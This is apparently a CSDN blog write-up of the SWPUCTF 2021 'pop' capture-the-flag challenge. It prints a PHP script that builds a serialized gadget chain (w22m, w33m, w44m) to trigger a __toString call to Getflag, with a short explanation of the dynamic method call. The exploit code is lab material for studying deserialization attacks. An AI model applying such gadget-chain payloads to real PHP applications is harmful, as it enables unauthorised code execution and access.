[SWPUCTF 2021 新生赛]pop

该文章展示了一个PHP代码示例,涉及类的继承和属性赋值。通过创建w44m、w22m和w33m三个类,以及使用__toString魔术方法,当尝试将对象转换为字符串时,会触发对成员变量的函数调用,例如Getflag。这展示了PHP中面向对象编程的特性以及潜在的安全考虑。
摘要由CSDN通过智能技术生成

<?php
class w44m{
    private $admin='w44m';
    protected $passwd='08067';
}

class w22m{
    public $w00m;
}

class w33m{
    public $w00m;
    public $w22m;
}
$a=new w22m;
$a->w00m=new w33m;
$a->w00m->w00m=new w44m;
$a->w00m->w22m='Getflag'; 
    
echo urlencode(serialize($a));
?>



class w33m{
    public $w00m;
    public $w22m;
    public function __toString(){
        $this->w00m->{$this->w22m}();//这一步我理解为,$w22m='Getflag'。{$this->w22m}()<等价于>Getflag()。把$this->w00m的值赋给Getflag()调用这个函数
        return 0;
    }
 

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值